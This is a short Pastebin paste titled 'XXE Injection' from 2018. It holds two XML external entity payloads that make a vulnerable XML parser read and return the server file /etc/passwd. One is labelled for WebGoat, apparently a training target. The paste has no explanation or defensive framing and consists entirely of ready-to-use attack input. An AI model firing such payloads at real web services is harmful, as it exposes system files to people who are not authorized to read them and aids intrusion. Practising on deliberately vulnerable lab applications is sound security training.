Advertisement
irobust

XXE Injection

Jun 5th, 2018
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XML 0.29 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  3. <text>test&xxe;</text>
  4.  
  5. ###### WebGoat ######
  6. <?xml version="1.0" encoding="UTF-8"?>
  7. <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  8. <comment>  <text>test&xxe;</text></comment>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement